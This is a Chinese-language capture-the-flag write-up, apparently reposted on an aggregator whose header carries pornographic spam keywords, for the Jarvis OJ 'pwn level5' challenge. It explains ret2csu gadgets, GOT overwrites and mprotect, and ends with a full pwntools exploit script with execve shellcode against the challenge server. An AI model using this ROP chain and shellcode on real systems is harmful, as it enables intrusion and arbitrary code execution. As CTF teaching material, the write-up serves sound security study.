日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

Javris OJ - pwn level5(mmap和mprotect练习)(_libc_csu_init中的通用gedget的使用)

發(fā)布時間:2023/12/20 编程问答 28 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Javris OJ - pwn level5(mmap和mprotect练习)(_libc_csu_init中的通用gedget的使用) 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

pwn level5

這個題和level3-64的附件一樣,level5要求不用system和execve,而是用mprotect和mmap,mmap主要是將文件映射到一段內(nèi)存去同時設置那段內(nèi)存的屬性可讀可寫或者是可執(zhí)行,mprotect函數(shù)是將從addr開始的地址 ,長度位len的內(nèi)存的訪問權(quán)限。

可以這樣做:利用shellcode,利用read函數(shù)把shellcode寫入bss段,這里要求寫入的bss段是可執(zhí)行的。但是這道題目中的bss 段是不可執(zhí)行的。
這里就用mprotect來修改權(quán)限:Linux中mprotect()函數(shù)的用法

思路:泄漏write地址-》獲得libc版本-》把shellcode寫入bss段-》獲得mprotect函數(shù)地址并修改bss段的權(quán)限-》執(zhí)行bss段里的shellcode。

這里不免要構(gòu)造ROP鏈,但是找到合適的pop rdi等的指令總是不如意,所以這里用到了通用gedgat。
在這道題目中像read,write,mprotect 函數(shù)都需要三個參數(shù),在64位系統(tǒng)中,在調(diào)用函數(shù)時,其前六個參數(shù)是在rdi,rsi,rdx,rcx,r8,r9中取的,這道題目中只有rdi,rsi的片段,rdx的值不能控制,所以這里就用到了通用的gedget。

0x01 通用gedget

我們可以利用 x64 下的 __libc_csu_init 中的 gadgets。這個函數(shù)是用來對 libc 進行初始化操作的,而一般的程序都會調(diào)用 libc 函數(shù),所以這個函數(shù)一定會存在。我們先來看一下這個函數(shù) (當然,不同版本的這個函數(shù)有一定的區(qū)別)。(在IDA中的函數(shù)列表中可以找到這個函數(shù),看一下匯編代碼)

紅框中的就是我們要利用的gedget。
調(diào)用4006A6可以對rbx,rbp,r12,r13,r14,r15進行賦值,再通過調(diào)用400690函數(shù),分別對rdx,rsi,edi,進行賦值,通過控制r12,rbx的值,可以調(diào)用想要調(diào)用的函數(shù),比如r12=0,rbx=0x10000,則在call處,調(diào)用0x10000處的函數(shù)。

0x02 泄漏write地址并得出libc版本

和level3一樣,因為rbx的值為0x200,大于8,所以可以不對rbx進行賦值。即write的第三個參數(shù)可以不管。write(1,write_got,8)是把write_got地址指向內(nèi)存的內(nèi)容的前8個字節(jié)寫入到標準輸出流中。

write_plt = 0x00000000004004B0 write_got = 0x0000000000600A58 read_plt = 0x00000000004004C0 vul_addr = 0x00000000004005E6rdi = 0x00000000004006b3 rsi_r15 = 0x00000000004006b1payload = 'a'*0x80+'b'*0x8 #padding payload += p64(rdi)+p64(0x01) #write的第一個參數(shù) payload += p64(rsi_r15)+p64(write_got)+p64(0) #write第二個參數(shù)和彈入r15的垃圾數(shù)據(jù) payload += p64(write_plt)+p64(vul_addr)#調(diào)用write函數(shù)以及write函數(shù)的返回地址r.recvuntil("Input:\n") r.sendline(payload) write_addr = u64(r.recv(8)) print hex(write_addr)

0x03 把shellcode寫入bss段

bss_addr=e.bss() read_plt=e.symbols['read'] payload2='a'*0x88+p64(rdi)+p64(0)+p64(rsi_r15)+p64(bss_addr)+'a'*8+p64(read_plt)+p64(vul_addr) p.recvline() p.send(payload2) shell_code='\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05' p.send(shell_code)

看的別人的wp,有個疑問:read的第三個參數(shù)不需要指定嗎?是默認取rbx中的值嗎?

0x04 得到mprotect的地址,并把mprotect和bss的地址寫入got列表

因為要調(diào)用mprotect和bss,要調(diào)用程序中沒有的函數(shù),要把其地址寫入got列表,寫入got表所在地址可以在ida中查看,即空的地址。
程序的got表:

在ida中找空的got表地址

腳本:

###########write bss to got table bss_got= 0x0000000000600A48 payload3='a'*0x88+p64(rdi)+p64(0)+p64(rsi_r15)+p64(bss_got)+'a'*8+p64(read_plt)+p64(vul_addr) p.recvline() p.send(payload3) p.send(p64(bss_addr))###########write mpro to got table offset=write_addr-libc.symbols['write'] mprot_got= 0x0000000000600A50 mprot_addr=libc.symbols['mprotect']+offset payload4='a'*0x88+p64(rdi)+p64(0)+p64(rsi_r15)+p64(mprot_got)+'a'*8+p64(read_plt)+p64(vul_addr) p.recvline() p.send(payload4) p.send(p64(mprot_addr))

0x05 修改bss權(quán)限,并執(zhí)行bss的內(nèi)容

payload5='a'*0x88+p64(0x4006A6)+"ret_addr" + p64(0) + p64(1) +p64(mprot_got) + p64(7) +p64(0x1000)+p64(0x600000) payload5 += p64(0x400690) payload5 += "ret_addr" + p64(0) + p64(1) + p64(bss_got) + p64(0) + p64(0) + p64(0) payload5 += p64(0x400690)

payload5=‘a(chǎn)’*0x88+p64(0x4006A6)+“ret_addr” + p64(0) + p64(1) +p64(mprot_got) + p64(7) +p64(0x1000)+p64(0x600000)

第一步padding+return addr設為0x4006a6,調(diào)用該函數(shù),然后是該函數(shù)的返回地址,后邊是分別向?qū)募拇嫫髦写嬷?#xff0c;rbx=0, rbp=1, r12=mprot_got, r13=7, r14=0x1000, r15=0x600000, 因為要調(diào)用mprotect 函數(shù)進行修改權(quán)限,在400690函數(shù)中要給rdx,rsi,edi,r12,rbx賦值,所以把rbx設為0,r12設為要調(diào)用的函數(shù)地址。

mprotect的三個參數(shù)為(strat_addr,len,prot)mprotect()函數(shù)把自start開始的、長度為len的內(nèi)存區(qū)的保護屬性修改為prot指定的值,這里從0x600000開始,包括bss段的地址即可,長度為0x1000為一個page,mprotect是以page為單位的,權(quán)限為可執(zhí)行7。

注意值與寄存器的對應。

這里想要執(zhí)行bss段里的shllcode,就要重新設置r12的值,即需要再次調(diào)用4006a6函數(shù),可以通過設置rbp的值,在400690中,rbp設置為1,即可再次調(diào)用4006a6函數(shù)。

payload5 += p64(0x400690)+“ret_addr” + p64(0) + p64(1) + p64(bss_got) + p64(0) + p64(0) + p64(0)
payload5 += p64(0x400690)

這里400690是把4006a6中的值賦值給相應寄存器,在次執(zhí)行4006a6,給相應寄存器賦值,再調(diào)用400690執(zhí)行shellcode,獲取shell。

0x06 腳本

from pwn import* context.log_level = "debug" p=remote('pwn2.jarvisoj.com',9884) e = ELF("./level3_x64") libc = ELF("./libc-2.19.so") ######### leak write_plt = e.plt["write"] write_got = e.got["write"] vul_addr = e.symbols["vulnerable_function"] rdi = 0x00000000004006b3 rsi_r15 = 0x00000000004006b1payload1 = 'a'*0x88+p64(rdi)+p64(1)+p64(rsi_r15)+p64(write_got)+'a'*8+p64(write_plt)+p64(vul_addr) p.recvline() p.send(payload1) tmp=p.recv(8) write_addr=u64(tmp[0:8]) print hex(write_addr)offset=write_addr-libc.symbols['write'] ########### read shell code to bss bss_addr=e.bss() read_plt=e.symbols['read'] payload2='a'*0x88+p64(rdi)+p64(0)+p64(rsi_r15)+p64(bss_addr)+'a'*8+p64(read_plt)+p64(vul_addr) p.recvline() p.send(payload2) shell_code='\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05' p.send(shell_code)###########write bss to got table bss_got= 0x0000000000600A48 payload3='a'*0x88+p64(rdi)+p64(0)+p64(rsi_r15)+p64(bss_got)+'a'*8+p64(read_plt)+p64(vul_addr) p.recvline() p.send(payload3) p.send(p64(bss_addr))###########write mpro to got table mprot_got= 0x0000000000600A50 mprot_addr=libc.symbols['mprotect']+offset payload4='a'*0x88+p64(rdi)+p64(0)+p64(rsi_r15)+p64(mprot_got)+'a'*8+p64(read_plt)+p64(vul_addr) p.recvline() p.send(payload4) p.send(p64(mprot_addr))########### jmp to __libc_csu_init to call shellcode payload5='a'*0x88+p64(0x4006A6)+"ret_addr" + p64(0) + p64(1) +p64(mprot_got) + p64(7) +p64(0x1000)+p64(0x600000) payload5 += p64(0x400690) payload5 += "ret_addr" + p64(0) + p64(1) + p64(bss_got) + p64(0) + p64(0) + p64(0) payload5 += p64(0x400690) p.recvline() p.send(payload5) sleep(5) p.interactive()

0x07 參考

  • https://blog.csdn.net/qq_38204481/article/details/80984318
  • https://blog.csdn.net/weixin_41617275/article/details/84955439

總結(jié)

以上是生活随笔為你收集整理的Javris OJ - pwn level5(mmap和mprotect练习)(_libc_csu_init中的通用gedget的使用)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。